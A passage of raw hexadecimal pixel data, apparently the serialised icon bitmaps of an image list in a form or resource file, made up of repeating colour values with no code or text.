D4002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4\n      D400A9A9A900A9A9A900525252000000000080808000FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF008080\n      800000000000C0C0C0008080800000000000000000008C7A70008E8795004E74\n      94004E749400929CB000E8E8E800E8E8E800E8E8E800199047008FCAA80093CD\n      AC0093CDAC0033A36D008888880000000000000000008C7A70008E8795004D6E\n      8D004E749400929CB000E6E6E600E6E6E600E6E6E600E0DFDD00847613009E8E\n      3A0086760800F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4\n      D4002C2C2C002C2C2C002C2C2C002C2C2C002CFF2C002C2C2C002C2C2C00D4D4\n      D400A9A9A900A9A9A90052525200000000008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      80008080800000FFFF0080808000000000000000000048728D00ABABA000D1B9\n      A500D1B9A500999999004E749400DDDDDD00E8E8E80021975100289A5A00309E\n      640036A26A0036A26A0088888800000000000000000048728D00ABABA000D1B9\n      A500CEB4A20098A099004D6E8D00E1E1E100E6E6E600E0DFDD00D8D8D6008066\n      0500D8D8D600F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4\n      D4002CFF2C002CFF2C002C2C2C002CFF2C002C2C2C002CFF2C002CFF2C00D4D4\n      D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF00C0C0C00080808000000000009AAABA00BFB5A400FBEFE300FCFC\n      FB00FCFCFB00FBEFE3009FA195008E97AC00DDDDDD00DDDDDD00DDDDDD00D2D2\n      D200D2D2D200F5F5F50088888800000000009AAABA00BFB5A400FBEFE300FFFF\n      FF00FFFFFF00FBECDF009FA195008E97AC00E1E1E100E0DFDD00D8D8D800D5D5\n      D500D5D5D500F1F1F100888888000000000000000000A9A9A900FFFFFF00D4D4\n      D4002C2C2C002C2C2C002CFF2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4\n      D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF0000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C000FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF008080800000000000739EB400E6C3A800FCFCFB007B76\n      85007B768500FCFCFB00D8B49200537C9A00DDDDDD00DDDDDD00E8E8E800F1F1\n      F100F5F5F500F1F1F1008888880000000000739EB400E6C3A800FFFFFF007B76\n      85007B768500FFFFFF00D8B49200537C9A00E0DFDD00D8D8D800E8E8E800F1F1\n      F100F1F1F100F1F1F100868686000000000000000000A9A9A900FFFFFF00D4D4\n      D4002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C002C2C2C00D4D4\n      D400A9A9A900A9A9A90052525200000000000000000080808000FFFFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C000FFFFFF0080808000808080008080\n      80008080800080808000808080000000000085ABBD00EACBB500FCFCFB007B76\n      8500FCFCFB00FCFCFB00E1BFA10055819E00DDDDDD00D2D2D200FCFCFB00E8E8\n      E800E8E8E800AEAEAE00AEAEAE000000000085ABBD00EACBB500FFFFFF007B76\n      8500FFFFFF00FFFFFF00E1BFA10055819E00E0DFDD00D5D5D500FFFFFF00E6E6\n      E600E6E6E600B2B2B200ABABAB000000000000000000A9A9A900FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00A9A9A900A9A9A9005252520000000000000000000000000080808000FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF008080800000000000000000000000\n      000000000000000000000000000000000000A8C3D100E4D0C100F5F5F5007B76\n      8500FCFCFB00F8EFE600C3B6A800929CB000DDDDDD00D2D2D200FCFCFB00D2D2\n      D200AEAEAE00999999000000000000000000A8C3D100E4D0C100FAF3F0007B76\n      8500FFFFFF00F8EFE600C3B6A8008E9DB000E0DFDD00D5D5D500FAFAFA00D5D5\n      D500ABABAB00A1A1A10000000000000000000000000000000000A9A9A900D4D4\n      D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4\n      D400FFFFFF00A9A9A90052525200000000000000000000000000000000008080\n      8000808080008080800080808000808080000000000000000000000000000000\n      000000000000000000000000000000000000000000009ABECA00E6D3C700EDD0\n      BF00EBCBB900D9C9B800739EB400E6E7E900F1F1F100F1F1F100E8E8E800AEAE\n      AE00A1A1A100000000000000000000000000000000009ABECA00E4D0C100EDD0\n      BF00EBCBB900D9C9B8006E99B000E6E7E900F1F1F100F1F1F100E6E6E600ABAB\n      AB00A1A1A100000000000000000000000000000000000000000000000000A9A9\n      A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9\n      A900A9A9A900A9A9A90000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000C7C8C8008DA6B40087B0\n      BF0085ABBD006882930087898C0088888800959595008888880099999900B5B5\n      B5000000000000000000000000000000000000000000C7C8C8008DA6B40087B0\n      BF007FA7B8006882930088888800888888008D8D8D008888880099999900B2B2\n      B200000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000BED0C800A0BBAF0079A08E00729A\n      8800729A8800729A8800729A8800729A8800729A8800729A8800729A8800729A\n      8800729A8800ACC4B900000000000000000000000000000000008D8D8D007474\n      74006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D6D006D6D\n      6D006D6D6D008D8D8D0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000005477\n      56000000000000000000000000000000000081A59500E9EFEC00C5D5CE00C5D5\n      CE00BACDC500B6CBC200B0C7BD00ACC4B900A8C1B600A4BEB200A4BEB200A0BB\n      AF00D8E3DE0079A08E0000000000000000000000000081818100F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9\n      F900F9F9F900F9F9F90081818100000000000000000000000000000000000000\n      00000000000094A9C5006B8AB5006484B7006084BA005F81B9007995C00094A9\n      C500000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000001D4D\n      2000375F3800000000000000000000000000729A8800F5F8F700C5D5CE00BACD\n      C500B0C7BD00A8C1B6009DB9AD0094B3A5008CAD9E0081A595007DA29200789F\n      8D00DEE7E300729A880000000000000000000000000074747400F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9\n      F900F9F9F900F9F9F900747474000000000000000000000000000000000094A9\n      C50084A9DD008CB3E9009ABAE900A4BEE600A4BEE600A4BEE6008FB0E3006B99\n      E3005F85C2007E98BF00000000000000000044954C0044954C00398540003884\n      3F00347F3A005D9761000000000085A687004475480020572400356C3900629B\n      6600467C4A0040674200000000000000000079A08E00F5F8F700D0DDD700C5D5\n      CE00BED0C800B3C9BF00B0C7BD00ACC4B900ACC4B9009DB9AD0094B3A5008CAD\n      9E00F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9\n      F900EBEBEB00E5E5E500E5E5E500E5E5E500E5E5E500DDDDDD00E5E5E500DDDD\n      DD00F9F9F900F9F9F900747474000000000000000000000000009BBBE3009ABA\n      E900C1D4EC00D7DFEC00E6E9ED00EDEDED00EDEDED00EDEDED00EDEDED00CED9\n      EB0090B2E7006595E1007E98BF0000000000499A520085C88D0085C88D0082C5\n      89007FC3860062A96800347F3A005D97610084BD8A0093CE980091CC96008ECA\n      92008ECA9200467C4A004B704C0000000000729A8800FEFEFE00DEE7E300D4E0\n      DB00B6CBC200BACDC500A8C1B600A8C1B600B0C7BD00A4BEB2009DB9AD0094B3\n      A500F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9\n      F900F9F9F900F9F9F900747474000000000000000000ACC8E800BFD3EA00E6E9\n      ED00F0F0F000E9DAD100E1B8A000DA9B7600D9977000DFAF9400E8D4C900F0F0\n      F000E6E9ED00B4C9E9006595E1007E98BF004DA256008ECA92008ECA920085C8\n      8D0085C88D0070B376004D8A52009BD2A10093CE980097CF9C0093CE980093CE\n      980091CC96004A814E004B704C0000000000789F8D00FEFEFE00FEFEFE00FEFE\n      FE00F0F4F200F2F6F400BED0C800ACC4B900B0C7BD00B0C7BD00A8C1B600A4BE\n      B200F2F6F400729A880000000000000000000000000081818100F9F9F900F9F9\n      F900E5E5E500DDDDDD00DDDDDD00DDDDDD00D5D5D500D5D5D500D5D5D500D5D5\n      D500F9F9F900F9F9F9008181810000000000C5D6E500D7DFEC00F0F0F000F0F0\n      F000F2E4DC00E7B69900E2A07A00E19C7200DF976B00DE926300E2A07A00EFDB\n      CF00F0F0F000F0F0F000CBD5E7007BA2DF0052A85B004DA256004DA25600499A\n      520062A96800549B5C007CB683009FD3A6007CB683004D8A52002A683000538D\n      590051895500447548000000000000000000729A8800F2F6F400A4BEB20081A5\n      95007DA2920081A59500F0F4F200EDF2F000E2EAE600E7EEEB00F5F8F700F2F6\n      F400FEFEFE00729A880000000000000000000000000081818100F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9\n      F900F9F9F900F9F9F9008181810000000000DDE0E400EDEDED00F0F0F000FAFA\n      FA00F0D1BD00EAB08D00E7AA8500E2A07A00E49F7600E39A6F00E1956700EBBA\n      9D00FAFAFA00F0F0F000F0F0F00093B0DD000000000000000000000000000000\n      00009FC9A300428D4B009BD2A100A1D4A700377A3E0000000000000000002A68\n      3000447548000000000000000000000000007DA29200F2F6F400BACDC500BACD\n      C500ACBFBF00BC9F900088AA9B00729A8800729A8800729A8800729A8800729A\n      8800729A8800729A880000000000000000000000000081818100F9F9F900F9F9\n      F900DDDDDD00DDDDDD00D5D5D500D5D5D500CDCDCD00CDCDCD00CDCDCD00CDCD\n      CD00F9F9F900F9F9F9008181810000000000B0CADF00DCE2E800FAFAFA00FAFA\n      FA00F0C3AA00EBBA9D00EAB08D001C14100019120E00E2A07A00E19C7200E8A4\n      7B00FAFAFA00FAFAFA00D2DDEC00678ECC000000000000000000000000000000\n      00009FC9A30072B27A00A9DAB0007CB683003C86440000000000000000003072\n      36004A814E000000000000000000000000007DA29200FEFEFE00BACDC500BACD\n      C500C5D5CE00C5C7C200DFA58300EDC8B300EDCDB800E9BEA300D58E6400F5F8\n      F700FEFEFE00729A880000000000000000000000000081818100F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F5F5\n      F500F5F5F500F9F9F9008181810000000000ACCBE500ACCBE500BCCAD600FAFA\n      FA00F1C9B100EFBEA200EBBA9D0019120E0019120E00E9AA8400E8A47B00E9AA\n      8400FAFAFA00C1D4EC007AA5E500789AD10055AE610052A85B0052A85B0055A5\n      5E007ABB8300A1D4A700A9DAB000549B5C0070B37600549B5C0038843F00549B\n      5C004F9C5800518955000000000000000000729A8800FEFEFE00FEFEFE00FEFE\n      FE00FEFEFE00FEFEFE00E7D6C900E0A98700EBC7B000DDA17C00BC9F9000729A\n      8800729A8800ACC4B90000000000000000000000000081818100F9F9F900F9F9\n      F900DDDDDD00D5D5D500CDCDCD00CDCDCD00C1C1C100C1C1C100BDBDBD00BDBD\n      BD00F5F5F500F9F9F900818181000000000000000000B6D1EC00B6D1EC0096AA\n      BE00D6CAC400EFC3A800EFC3A800EFBEA200ECB39000ECB39000E9AA8400F1C9\n      B100A3B9D90082ABE40085B0F0000000000059B46500B8E3C000B8E3BF00B8E3\n      BF00B8E3BF00B8E3BF0099CFA2004F9C58008ECA92008ECA920085C88D0085C8\n      8D0082C58900549B5C005A935E00000000008CAD9E0094B3A50094B3A50094B3\n      A50094B3A50094B3A50094B3A50094B3A500DEAD9000C4AFA300D5D5D500BFBF\n      BF00A6A6A600A0A0A00091919100000000000000000081818100F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F5F5F500F5F5F500EBEB\n      EB00EBEBEB00F9F9F90081818100000000000000000000000000BFD3EA00BFD3\n      EA00A0B8D0008E9FB2009A9CA500B3A4A000B3A4A000B3A4A0009A9CA500809C\n      BF0093B9EC0090B7EE00000000000000000059B46500B8E3C000B8E3C000B8E3\n      BF00B2DFB9008ECA920062A9680061AC690088CA8F008FCF98008ECA92008ECA\n      920085C88D0055A55E00629B6600000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000ACACAC00CACACA00D2D2\n      D200CACACA00D2D2D200C5C7C200919191000000000081818100F9F9F900F9F9\n      F900D5D5D500CDCDCD00C1C1C100BDBDBD00BDBDBD00B6B6B600F9F9F900F9F9\n      F900F9F9F900F9F9F9008181810000000000000000000000000000000000B6D1\n      EC00B6D1EC00B7CEE600B6D1EC00A3B9D9009EB7D5009EBADC00ACC8E800A2C2\n      EE00A1C0EA0000000000000000000000000059B4650059B4650058B3640058B3\n      640055AE61007ABB8300000000009BD2A1006AB071004DA2560055A55E0072B7\n      7A005EA566005F9F650000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000B2B2B200D2D2\n      D200A0A0A00091919100C5C7C2008A8A8A00000000008D8D8D00F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F5F5F500F5F5F500EBEBEB00F9F9F900F9F9\n      F900F9F9F900B6B6B600A5A5A500000000000000000000000000000000000000\n      000000000000B7CEE600B6D1EC00B7CEE600B5CBE700B5CBE700B4C9E9000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000004DA2\n      56005EA566000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000B2B2B200E9EF\n      EC009B9B9B00B2B2B200B2B2B2008A8A8A00000000008D8D8D00F9F9F900F9F9\n      F900F9F9F900F5F5F500F9F9F900F5F5F500F5F5F500EBEBEB00F9F9F900D5D5\n      D500A9A9A9009696960000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000007ABB\n      8300000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000A6A6A600E1E1\n      E100D2D2D200BFBFBF000000000000000000000000009D9D9D00F9F9F900F9F9\n      F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900A9A9\n      A9009D9D9D000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000000000000A0A0\n      A0009B9B9B009B9B9B0000000000000000000000000000000000A5A5A5008D8D\n      8D008D8D8D008D8D8D008D8D8D008D8D8D008D8D8D008D8D8D0096969600B6B6\n      B600000000000000000000000000000000000000000000000000000000000000\n      0000000000005F5F5F0066676800696C6D00696C6D0096A9B400000000007070\n      7000696C6D00696C6D005F5F5F000000000000000000DB997100D5825000D17C\n      4A00DFA27E000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000C2907200A45F3A000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000009A9A\n      9A007D7D7D007D7D7D00727272006E6E6E008989890000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000626466008A8E9000A0A7AB00ADADAD009696960070707000707070009696\n      9600ADADAD00ADADAD009696960068686800E0A68300DFA38000EAC1AA00E9BE\n      A500DB997100DFA3800000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000CCA07D00BD865B00B87D5500A764\n      3C00000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000009190\n      9000D6D2D100DEDDDD00DEDDDD00E1DEDD007272720000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000006988\n      980063696C00D3D3CE00727D8000434344004343440050505000505050004545\n      4500434344007A7D7F00C2C2C2006E6E6E00DB966E00ECC8B200E7B89B00E7B8\n      9B00EAC1AA00DB997100E0A68300000000000000000000000000000000000000\n      000000000000000000000000000000000000C4895C00C5916700CCA07D00C290\n      7200B57A5200AA694500A45F3A009B513400A86D5A0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000A9A9A900C2C2C100D4CFCE007D7D7D00AEAEAE0089898900727272007272\n      72006E6E6E00666666006666660072727200000000000000000054A9D4005372\n      810083848500D3D3CE00A4E2F80043434400BCBCBC00D3D3CE00C2C2C200ADAD\n      AD00434344003D8FC400C2C2C20083848500DD9E7800ECC8B200E9BEA500E5B1\n      9200E7B89B00EAC1AA00DB997100E1A786000000000000000000000000000000\n      00000000000000000000000000000000000000000000C68D6200D1A48200CCA0\n      7D00CB9D7A00C7987300C2916A00BE8D6500A768440000000000000000000000\n      000000000000000000000000000000000000CDCDCD00B3B3B300AEAEAE00AEAE\n      AE009A9A9A009A9A9A009A9A9A0085858400858584008989890085858400A19F\n      9E00D4CFCE00D4CFCE00E5E2E2006666660072BCDE0072BCDE00BEE5F600A6B9\n      BF0077797A00D3D3CE006B7F87004B4C4C006264660096969600707070006264\n      66004B4C4C005F717F00C2C2C20070707000ECC8B200E5B39600ECC8B200E9BE\n      A500E5B39600E7B89B00EAC1AA00DB997100E5B1920000000000000000000000\n      0000000000000000000000000000000000000000000000000000D0A07B00D7AD\n      8E00C9966E00C68D6200BD865B00BE8D6500BB87600084533E00000000000000\n      000000000000000000000000000000000000AEAEAE00E5E2E200D6D2D100D6D2\n      D100D6D2D100CBC5C400C2C2C100CDCDCD00CDCDCD00CDC9C900D9D5D5007272\n      7200B6AEAD00B6AEAD00D4CFCE006666660045A9D400E6F9FD00DDF6FF00BDEB\n      FA007C949D0096969600E8E8E800DDDDDD00BCBCBC0078888D006B889400D5D8\n      D900DDDDDD00C2C2C200969696003B66820000000000ECCAB600E7B89B00ECC8\n      B200E9BEA500E5B39600E7B89C00EAC1AA00DB997100E5B19200000000000000\n      0000000000000000000000000000000000000000000000000000D1A48200DCB5\n      9800D0A07B00C7987300CFA38100C2907200886B570086868600919191000000\n      000000000000000000000000000000000000B3B3B300E1DEDD00A6714C00A671\n      4C00A6714C00A6714C00A6714C00A6714C00A6714C00A6714C00D9D5D5007272\n      7200B9B2B000B8B0AD00D4CFCE006E6E6E004DAED600E2F6FC00D4F3FF00C9F0\n      FF00B7E5F70091AEBA00878B8C009696960078888D004BB0CF0046B5DC007584\n      890096969600878B8C00779AAF003189C1000000000000000000ECCAB600E7B8\n      9B00ECCAB600E9BEA500E9BEA500ECC8B200E0A68300DFA27E00000000000000\n      0000000000000000000000000000000000000000000000000000DDAD8B00E5BE\n      A200D8AA8900D9B19300CE9E7900A3795A0091919100A8A8A8006E6E6E000000\n      000000000000000000000000000000000000B9B9B900DEDDDD00B37E5800CD96\n      6E00D9AD9000D9AD9000D9AD9000D9AD9000D59E7500A6714C00D9D5D5007D7D\n      7D00B9B2B000B9B2B000D4D0CF007272720050B0D700E2F6FC00D4F3FF00C9F0\n      FF00C9F0FF00BDEBFA0091DBFB0055C0F10047C2F9003ABCF00046C4EC0045BD\n      E80041B4E60046B0E60083CAEC00338FC800000000000000000000000000ECCA\n      B600E7B89C00ECCAB600EECFBC00E5B19200D29A7A0089898900000000000000\n      0000000000000000000000000000000000000000000000000000E1B29100E8C5\n      AC00E5BEA200D8AA8900B48E730000000000A5A5A5007D7D7D00000000000000\n      000092493200AE7B6A000000000000000000B9B9B900E1DEDD00B37E5800CD96\n      6E00CD966E00CF987000D59E7500D59E7500D59E7500A6714C00D6D2D1008585\n      84003AA0410036933600D6D2D1007272720052B3D800E2F6FC00DDF6FF00D4F3\n      FF00BDEBFA0089D6F70068C9F5004BB3E90091DBFB0091DBFB0047C2F90037B5\n      EC0045BDE8004EBAE8008BD0F0003692CA000000000000000000000000000000\n      0000ECCAB600E7B89C00E6B59700D8A88B00D2D2D200B4B4B400898989008686\n      8600868686009696960000000000000000000000000000000000E8BFA200E8BF\n      A200E5BEA200B59D8A00B1B1B100B1B1B100000000000000000000000000A45F\n      3A00AC714B00A45F3A009D5B470000000000C2C2C100E2E0DF00B17C5700C790\n      6A00CD966E00CD966E00CD966E00CD966E00D59E7500A6714C00D9D5D5008989\n      89009FC8A3004FA85500D9D5D5007D7D7D0052B3D800E1F8FD00D4F3FF00AFE4\n      FA0085CFF1007ED0F50077D0F5004BB0E400A9E2F900B5E9FF009AE1FF0076D5\n      FE003ABCF0003CB4E9008FD5F1003894CB000000000000000000000000000000\n      000000000000EECFBC00E7B89C0092929200C5C5C500CDCDCD00C5C5C500C5C5\n      C500C5C5C500BFBFBF008686860000000000000000000000000000000000E8BF\n      A200CFB09B00B6B6B600BBBBBB00B1B1B1000000000000000000AF714500BD86\n      5B00BE8D6500BB8760009249320000000000CDCDCD00E1DEDD00B17C5700C38D\n      6700C38D6700C7906A00CD966E00CD966E00CD966E00A6714C00D9D5D5009190\n      9000C0BAB800BFB8B700D6D2D100858584004DB4D800E1F8FD00C9F0FF0097CF\n      E70083CAEC006EBEE50052B3D8003894CB00C9F0FF00DDF6FF00B5E9FF0094DF\n      FE007ED0F500A4E2F80083DCFB003692CA000000000000000000000000000000\n      00000000000000000000000000000000000096969600D2D2D200C8C8C800BFBF\n      BF00B4B4B400C5C5C500C5C5C500969696000000000000000000000000000000\n      000000000000C3C3C300BBBBBB000000000000000000C4895C00C9966E00CB9D\n      7A00BD865B00C2916A00A7643C0000000000CDCDCD00E1DEDD00AF7A5500B17C\n      5700B17C5700AF7A5500AF7A5500B17C5700B37E5800A6714C00D9D5D5009A9A\n      9A008989890089898900D9D5D5008989890090D1E7004DB4D800A4D9ED00D2EB\n      F500BDDEED0094C9DE0088C2DB006FB7D60068B8DD008FD7F5007ECFF5009CDB\n      F800A4E2F80085CFF10050A5D50072BCDE000000000000000000000000000000\n      00000000000000000000000000000000000096969600DDDDDD00C5C5C500A7A7\n      A700A7A7A700AAAAAA00D2D2D200898989000000000000000000000000000000\n      000000000000000000000000000000000000D8AA8900D9B19300D8AF9100CB98\n      7100C68D6200C89B7700B171490000000000D6D2D100F1EFEF00E2E0DF00E1DE\n      DD00E1DEDD00E1DEDD00E1DEDD00DEDDDD00DEDDDD00DEDDDD00EDECEB009A9A\n      9A00C7C0C000C0BAB800D9D5D50091909000000000000000000078C4E10078C4\n      E100D1EEF700F6FFFF00F6FFFF00C9F0FF004FACDA008FD7F500A4E2F8008FD5\n      F10061B1D90061B1D90000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000099999900E2E2E200CDCDCD00AAAA\n      AA00000000008989890089898900898989000000000000000000000000000000\n      0000000000000000000000000000E1B29100E7C0A700E0B99E00D8AA8900D1A4\n      8200C7987300D1A48200BD865B0000000000D6D2D100D6D2D100D1D1D100CDCD\n      CD00C9C9C900C2C2C100B9B9B900B9B9B900B3B3B300B6AEAD00A9A9A900A4A4\n      A4009190900091909000DCD8D700919090000000000000000000000000000000\n      000064BDDD0094C9DE00E1F8FD00E2F6FC00AEDDF200B7E5F70071BFE10055AE\n      D600000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000AAAAAA00E2E2E200E5E5E500BFBF\n      BF00969696000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000E8BFA200E8BFA200E9C8AF00E7C0A700E5BE\n      A200DCB59800D7AD8E00CFA38100B57746000000000000000000000000000000\n      00000000000000000000D6D2D100DEDDDD00EDECEB00CDCDCD00CBC5C400CBC5\n      C400CBC5C400C7C0C000DEDDDD009A9A9A000000000000000000000000000000\n      000000000000A4D9ED0052B3D8009BD5EA0087CCE7004DAED60094C9DE000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000009D9D9D00E2E2E200EEEE\n      EE00969696000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E8BFA200E0B99E00E1B29100E1B2\n      9100D8AA8900DCB59800CB9D7A00D1A482000000000000000000000000000000\n      0000000000000000000000000000DEDDDD00DEDDDD00E5E2E200DEDDDD00DEDD\n      DD00DEDDDD00DEDDDD00EDECEB00A4A4A4000000000000000000000000000000\n      000000000000000000000000000087CCE70078C4E10000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000AAAAAA009D9D\n      9D00969696000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000D9A78200E0B99E00000000000000000000000000000000000000\n      000000000000000000000000000000000000DEDDDD00CDCDCD00C7C0C000B9B9\n      B900B9B9B900B3B3B300B6AEAD00C9C9C9000000000000000000999999007E7E\n      7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E\n      26007E7E7E009595950000000000000000000000000000000000000000000000\n      000000000000000000005E9D63FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000C28339FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000085858500F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900F1F1F100E9E9E90013853F003B9F\n      5B0008863700FAFAFA0085858500000000000000000000000000000000000000\n      00000000000066B06EFF46A250FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000C28339FFC28339FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000307079FF2D6D75FF2A6970FF27656CFF000000000000\n      0000000000000000000000000000000000000000000085858500E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900288F420046A4660081C1\n      960046A46600199047007E7E7E00000000000000000000000000000000000000\n      000066B06EFF46A250FF46A250FF3D8B44FF37833EFF327B37FF3D7F43FF6496\n      68FF000000000000000000000000000000000000000000000000000000000000\n      0000EF9227FFEF9227FFEE8D1CFFBA6A0EFFAD630DFFA05C0CFF9E6420FFAB81\n      50FF000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000034757EFF77B7BFFF75B7BEFF2B6A71FF000000000000\n      000000000000000000000000000000000000000000007E7E7E00E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900E1E1E100288F420042A05E0081C1960066B4\n      810089C6A0004EAA7300279756000000000000000000000000000000000073BD\n      7CFF73BD7CFF96D19FFF94CF9CFF8FCD96FF8ACA91FF85C78BFF7ABE81FF65AD\n      6CFF4B9251FF68976BFF0000000000000000000000000000000000000000F19F\n      40FFF19F40FFF5B872FFF4B66EFFF4B469FFF3AF61FFF3AC5AFFF1A247FFEF91\n      24FFCD7610FFA98256FF00000000000000000000000000000000000000000000\n      000000000000000000003D7F87FF79B7C0FF77B7BEFF34727AFF000000000000\n      0000000000000000000000000000000000000000000085858500E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900037A1D0042A05E007FC0950069B5840060B2\n      7F0073BB8F0090CBA90059B28000309E640000000000000000000000000073BD\n      7CFF79C483FF9ED7A7FF9BD4A4FF97D29FFF92CF9AFF8DCC95FF88CA90FF7AC2\n      82FF7EC485FF5DA463FF69996CFF00000000000000000000000000000000F19F\n      40FFF2A54BFFF5BE7FFFF5BC79FFF5B974FFF4B56CFFF4B265FFF3AF5FFFF2A5\n      4BFFF2A750FFEE8913FFAB8456FF000000000000000000000000000000000000\n      000000000000000000004C8D97FF7EBAC3FF7CBAC2FF43838BFF000000000000\n      0000000000000000000000000000000000000000000085858500F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E90012843000128A3A003B9F5B0087C49D0066B4\n      81008FCAA80054AE7B0033A36D003BA775000000000000000000000000000000\n      000079C483FF6AB774FF6AB774FF54AB5EFF4EA357FF499B51FF63AC6BFF83C3\n      8BFF87C98FFF82C689FF509756FF699D6DFF0000000000000000000000000000\n      0000F2A750FFF2A750FFF1A247FFED8812FFDF8011FFD47910FFEE8F20FFF2A9\n      54FFF3AE5DFFF2AA56FFD67A10FFD67A10FF0000000000000000000000000000\n      000000000000458A95FF6DABB3FF82BDC6FF7FB9C4FF65A3ACFF34757EFF0000\n      0000000000000000000000000000000000000000000085858500968A21009A92\n      28009E993000A29F3600A4A23C00E9E9E900E9E9E900128A3A0089C6A0006AB7\n      880090CBA9002F9D620085858500000000000000000000000000000000000000\n      0000000000006AB774FF6AB774FF000000000000000000000000000000005BA2\n      62FF86C68EFF88C98FFF6FB376FF699D6DFF0000000000000000000000000000\n      000000000000F2A750FFF2A750FF00000000000000000000000000000000D184\n      2CFFF3AC5AFFF3AE5DFFF09933FFB68751FF0000000000000000000000005299\n      A5FF70ACB7FF8AC0CAFF89C1CAFF74B0B9FF70ACB6FF82BDC5FF7DB9C3FF5B9B\n      A3FF35737BFF000000000000000000000000000000008989890091831C00CAC4\n      8F00CDC99300CDC99300A4A23C00E9E9E900E9E9E900168F43008DC9A5006EB9\n      8D0090CBA90033A36D0085858500000000000000000000000000000000000000\n      000000000000000000006AB774FF000000000000000000000000000000000000\n      000054A05BFF48954FFF408B47FF478B4EFF0000000000000000000000000000\n      00000000000000000000F2A750FF000000000000000000000000000000000000\n      